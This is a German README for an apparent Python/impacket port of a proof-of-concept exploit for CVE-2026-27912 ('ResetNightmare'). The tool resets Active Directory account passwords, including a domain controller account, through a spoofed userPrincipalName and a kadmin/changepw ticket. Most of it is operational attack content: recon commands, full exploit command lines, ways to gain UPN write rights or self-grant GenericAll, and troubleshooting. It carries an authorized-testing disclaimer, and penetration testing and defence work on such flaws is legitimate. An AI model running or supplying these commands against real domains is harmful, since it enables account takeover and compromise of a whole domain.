
CVE-2026-27912 (ResetNightmare) — Linux/impacket-Port des Invoke-ResetNightmare-PoC von Semperis Community
Linux-/impacket-Tooling für CVE-2026-27912 („ResetNightmare"). Setzt das Passwort eines Ziel-Active-Directory-Kontos zurück, indem ein kadmin/changepw-TGT für einen NT_ENTERPRISE-Principal angefordert wird, dessen Name der sAMAccountName des Ziels ist, unter Verwendung eines Kontos (UPNUser), auf dem wir einen gefälschten userPrincipalName schreiben können.
Python-Port des PowerShell-Tools Semperis Community Invoke-ResetNightmare (siehe Credits).
Nur für autorisierte Sicherheitstests und Bildungszwecke. Dieses Tool ändert echte Active-Directory-Anmeldeinformationen und kann Konten aussperren.
GenericAll gewähren, dessen Passwort setzen, aktivieren.sAMAccountName des Ziels auflösen.UPNUser.userPrincipalName = <targetSAN> setzen (der gefälschte UPN).NT_ENTERPRISE '<targetSAN>' für kadmin/changepw — der KDC ordnet den Enterprise-UPN dem Ziel zu und stellt ein Passwortänderungs-TGT dafür aus.--upn-user--upn-user ist das Konto, auf dem du den gefälschten UPN schreibst (ein Benutzer oder ein Computer mit --computer). Die einzige Voraussetzung ist, dass du dessen userPrincipalName schreiben kannst. Es gibt drei Wege, das zu erreichen — dieselben, auf die sich das PowerShell-Original stützt:
| # | Wie du UPN-Schreibrecht erhältst | Flag | Benötigt eine OU? |
|---|---|---|---|
| A | Erstelle das Konto in einer OU, in der du Create Child hast → es gehört dir → das Tool gewährt sich selbst GenericAll → schreibt den UPN | --create-new-path | Ja |
| B | Ein bestehendes Konto, auf dem du bereits GenericWrite / GenericAll / WriteProperty(userPrincipalName) hast | (keine) | Nein |
| C | Ein bestehendes Konto, das dir gehört oder auf dem du WriteDacl hast (kein direktes Schreiben von Eigenschaften) | --grant-self | Nein |
Du musst also nicht zwingend eine OU kontrollieren — Weg B funktioniert über delegierte Rechte auf einem beliebigen einzelnen Konto. Aber du brauchst einen von A/B/C. Führe --find aus, um zu sehen, welchen du hast.
Ein Domänencomputer allein reicht nicht aus. Ein Rechner, auf dem du lokaler Administrator bist / dessen Hash du besitzt — auf dem du aber keine AD-Schreibrechte hast —, liefert dir keinen von A/B/C. Und ein Computer, der über MachineAccountQuota erstellt wurde (
addcomputer.pyinCN=Computers), funktioniert ebenfalls nicht: Sein Ersteller ist nicht der Besitzer und erhält kein UPN-Schreibrecht, sodass sowohl das direkte Schreiben als auch--grant-selfmitresult 50fehlschlagen. Verwende Weg A mit einer delegierten OU.
python3 -m venv venv
./venv/bin/pip install -r requirements.txt
Die Operator-Anmeldedaten sind das erste Positionsargument: [domain/]username[:password].
Jedes Passwort kann weggelassen werden, und Sie werden dann zur Eingabe aufgefordert.
Recon — was kann dieses Konto missbrauchen? Meldet Konten, bei denen Sie einen UPN schreiben können, OUs, in denen Sie Objekte erstellen können, und das MachineAccountQuota, mit vorgeschlagenen Befehlen:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --find
Jeder Fund gibt seine via:-Begründung(en) und das owner: des Objekts aus. Der Owner
unterscheidet die beiden Pfade zur Computer-Erstellung auf einen Blick — ein delegierter
Container-Computer zeigt owner: <you> (du hast implizit WRITE_DAC, daher funktioniert --grant-self), während ein MAQ /
CN=Computers-Computer owner: BUILTIN\Administrators zeigt (du hast es nicht, daher kann er nicht verwendet werden):
=== Accounts you can write a UPN on (use as --upn-user) ===
[+] svc_web CN=svc_web,OU=Services,DC=corp,DC=local
via: WriteProperty(userPrincipalName)
owner: Domain Admins
Setzen Sie ein Ziel zurück mit einem Konto, für das Sie einen UPN schreiben können:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--upn-user svc_web --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Erstellen Sie zuerst das UPN-Konto (erfordert Create Child auf der OU und LDAPS):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
--upn-user pwned_user --upn-user-password 'N3wUpnPass1!' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Ein Computerkonto erstellen als UPN-Konto (--create-new-path + --computer):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' --computer \
--upn-user 'pwned_pc$' --upn-user-password 'N3wUpnPass1!' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Bestehendes Konto, bei dem du die DACL umschreiben, aber den UPN nicht schreiben kannst (--grant-self).
Wenn --find einen --upn-user meldet, der über Owner oder WriteDacl erreichbar ist (du kannst
dessen ACL ändern, hast aber keinen direkten Property-Schreibzugriff), fügt --grant-self zuerst einen GenericAll-ACE für
dich hinzu, dann wird der Angriff fortgesetzt. Nur für bestehende Konten — --create-new-path
gewährt sich bereits selbst.
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --grant-self \
--upn-user svc_legacy --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Wenn
--grant-selfselbst mitresult 50fehlschlägt, sind Sie nicht der Besitzer und haben kein WriteDacl auf diesem Konto — es kann nicht helfen. Dies ist das übliche Ergebnis für einen Computer, den Sie überaddcomputer.py/MAQ erstellt haben: Ersteller erhalten typischerweise weder Eigentum noch einen UPN- Schreibzugriff, daher sind MAQ-Computer nicht als--upn-userverwendbar. Führen Sie--findaus und wählen Sie ein Konto, das alsWriteProperty(userPrincipalName),GenericWrite,GenericAll,OwneroderWriteDaclgekennzeichnet ist.
Fügen Sie -debug für ausführliches AS-REQ- / LDAP- / kpasswd-Logging hinzu.